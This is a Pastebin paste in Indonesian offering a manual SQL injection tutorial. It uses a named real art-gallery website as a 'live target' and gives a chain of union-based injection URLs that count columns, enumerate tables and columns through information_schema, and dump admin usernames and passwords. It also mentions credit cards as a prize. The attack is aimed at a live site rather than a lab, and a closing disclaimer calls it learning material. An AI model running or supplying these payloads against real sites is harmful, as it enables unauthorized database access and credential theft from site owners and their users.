Advertisement
Fadly31337

SQL Injection Manual

May 2nd, 2020
289
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.36 KB | None | 0 0
  1.  
  2. Halo my brother / sister, hacker, lamer, pro.
  3. Kali ini gw mau berbagi tentang tutorial sql injection.
  4. udah tau kan sql injection itu apa ?
  5. kalau belum tau, kurang lebih seperti ini kata om google
  6.  
  7. 'SQL injection itu adalah jenis aksi hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. SQL injection yaitu serangan yang mirip dengan serangan XSS dalam bahwa penyerang memanfaatkan aplikasi vektor dan juga dengan Common dalam serangan XSS.'
  8.  
  9. Catatan :
  10. karakter: ' atau -
  11. comments: /* atau --
  12. information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
  13.  
  14. Setiap MySQL terdapat "database",di dalam "database" terdapat "tables",di dalam "tables" terdapat "column,dan maklumat disimpan di dalam "column".
  15. Kurang lebih seperti ini Database -> Tables -> Columm -> Information
  16.  
  17. Oiya, disini sesuai judul, kita akan melakukan nya dengan cara manual, tidak memakai tool seperti sqlmap atau pun havij. Oke deh langsung aja.
  18.  
  19. Pertama, kita cari dulu target kita menggunakan dork. Bisa menggunakan dork disini atau disini.
  20.  
  21. Disini saya menggunakan website http://nightgallery.ca/artist.php?id=98 sebagai live target.
  22. Setelah mendapatkan target, tambahkan karakter (') atau tanda (-) pada akhir url untuk mengecek website tersebut apakah vuln atau tidak.
  23.  
  24. Kalau vuln, maka akan muncul pesan error seperti ini
  25. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SQL query yang error' at line 1
  26. Warning: mysql_fetch_assoc()
  27. Warning: mysql_fetch_array()
  28. Warning: mysql_num_rows()
  29. Warning: session_start()
  30.  
  31. Setelah itu, kita akan mencari dan menghitung table yang ada didalam mysql (didalam mysql / phpmyadmin nya) website tersebut dengan perintah ORDER BY
  32. http://nightgallery.ca/artist.php?id=98 order by 10--+ >> error
  33. http://nightgallery.ca/artist.php?id=98 order by 9--+ >> tidak error
  34.  
  35. Berarti jumlah nya ada 9, karna di angka 10 error.
  36.  
  37. Setelah mengetahui jumlah table yang ada didalam database, saat nya mencari dimana database itu berada dengan menggunakan perintah UNION SELECT ditambah dengan karakter (-) sebelum angka 98
  38.  
  39. http://nightgallery.ca/artist.php?id=-98 UNION SELECT 1,2,3,4,5,6,7,8,9--+
  40. muncul deh angka 2 dan 3, angka itu biasa disebut dengan angka ajaib. Berarti database website tersebut ada di table nomor 2.
  41.  
  42. Setelah itu, kita ingin melihat table yang ada didalam database, versi database, nama database, user , dan yang lain nya.
  43.  
  44. http://nightgallery.ca/artist.php?id=-98 UNION SELECT 1,database(),3,4,5,6,7,8,9--+
  45.  
  46. muncul nama database nya. Untuk multiple query, bisa menggunakan perintah GRUP_CONCAT(Query SQL) atau CONCAT(Query SQL)
  47.  
  48. Contoh nya kita ingin menampilkan nama database dan versi database
  49. http://nightgallery.ca/artist.php?id=-98 UNION SELECT 1,concat(database(),@@version),3,4,5,6,7,8,9--+
  50.  
  51. Catatan :
  52. Function : Output
  53. @@version : Menampilkan Versi database
  54. user() : Menampilkan Nama User database
  55. @@hostname : Menampilkan Hostname
  56. @@tmpdir : Menampilkan Direktori temp
  57. @@datadir : Menampilkan Direktori data
  58. @@basedir : Menampilkan Direktori base
  59. database() : Menampilkan Nama Database
  60. schema() : Menampilkan Database yang dipakai
  61. session_user() : Menampilkan Session User
  62. UUID() : Menampilkan System UUID Key
  63. current_user() : Menampilkan User Sekarang
  64. system_user() : Menampilkan System User Sekarang
  65. @@GLOBAL.have_symlink : Mengecek symlink aktif atau tidak
  66. @@GLOBAL.have_ssl : Mengecek apakah ada SSL atau tidak
  67.  
  68.  
  69. Selanjutnya, kita ingin melihat table yang ada didalam database, kita gunakan SCHEMA.
  70. Seharus nya muncul, ntah kenapa yang muncul cuma information_schema, tapi gakpapa, kita udah tau nama database nya.
  71. Selanjutnya kita liat isi table nya, tinggal ganti aja dengan Perintah TABLE_NAME & ditambahkan FROM INFORMATION_SCHEMA.TABLE WHERE TABLE_SCHEMA=DATABASE()
  72.  
  73. Jadi
  74. http://nightgallery.ca/artist.php?id=-98 UNION SELECT 1,concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()--+
  75.  
  76. ada muncul kan ?, karena cuma satu ya untuk pembelajaran, kita coba liat isi column nya, biasa nya muncul semua nama table nya.
  77. Kita liat column dalam tabel tersebut dengan perintah COLUMN_NAME & FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0xhexa
  78.  
  79. kita liat, disitu ada perintah 0xhexa. Apa maksudnya ? maksudnya, kita ubah dulu nama table tersebut kedalam bentuk hexadesimal. Silahkan ubah dari text ke hexa, atau dengan Hackbar.
  80. Jadi
  81. http://nightgallery.ca/artist.php?id=-98 UNION SELECT 1,concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=0x4e475f414453--+
  82.  
  83. Setelah itu, tentunya kita ingin tau dong isi yang ada didalam column tersebut, biasa nya yang kita cari USERNAME / PASSWORD Admin Login atau CREDIT CARD (Jika Beruntung).
  84. Lalu kita dumping dengan perintah NAMA_COLUMN,0x3a,NAMA_COLUMN FROM NAMA_TABLE
  85.  
  86. Sehingga menjadi
  87. http://nightgallery.ca/artist.php?id=-98 UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9 from users --+
  88.  
  89. Dan boom, muncul deh data berupa username & password yang ada didalam column tersebut.
  90. Oiya, 0x3a merupakan hasil hexa (:) biar tidak bingung melihat data tersebut.
  91.  
  92. Sekian Pembelajaran Hari ini ^_^
  93.  
  94. Nb :
  95. saya tidak bertanggung jawab atas apa yang anda lakukan, ini hanya untuk materi pembelajaran saja
  96.  
  97. Semoga Bermanfaat, Terima Kasih ^_^
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement